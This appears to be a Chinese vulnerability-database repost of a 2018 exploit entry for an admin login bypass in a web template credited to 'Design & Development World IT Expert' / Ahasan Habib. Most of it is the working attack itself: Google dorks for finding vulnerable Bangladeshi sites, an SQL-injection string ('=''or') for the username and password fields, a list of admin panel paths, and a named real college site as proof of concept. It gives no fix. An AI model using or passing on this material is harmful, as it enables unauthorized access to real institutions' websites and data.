Design & Development World IT Expert Ahasan Habib Admin Login Bypass Vulnerability - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1214906 漏洞类型
发布时间 2018-07-07 更新时间 2018-07-07
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2018070064
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#################################################################################################

# Exploit Title : Design & Development World IT Expert Ahasan Habib Admin Login Bypass Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
# Date : 07/07/2018
# Vendor Homepage : worlditexpert.com
# Tested On : Windows
# Category : WebApps
# Exploit Risk : Medium
# CWE : CWE-592 [ Authentication Bypass Issues ]
+ CWE-264 [ Permissions, Privileges, and Access Controls ]

#################################################################################################

# Google Dorks  : 

intext:''Design & Development World IT Expert'' site:bd

intext:''© Develop By: Ahasan Habib''

# Administration Control Panel Path : /admin

# Exploit : 

Username : '=''or'

Password : '=''or'

Useable Administration Control Panel URL Links =>

/admin/home.php
/admin/routine.php
/admin/syllabus.php
/admin/notice.php
/admin/teacher.php
/admin/view_teacher.php
/admin/department.php
/admin/pages_timeline.html
/admin/view_result.php
/admin/insert_result.php
/admin/creat_menu.php
/admin/creat_sub_menu.php
/admin/gallery.html
/admin/tables.html
/admin/maps.html
/admin/subject.php
/admin/blank.html
/admin/blank2.html
/admin/login.html

#################################################################################################

# Example Site => mrahamancollegepanchagarh.edu.bd => [ Proof of Concept ] => archive.is/T8IdV

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team 

#################################################################################################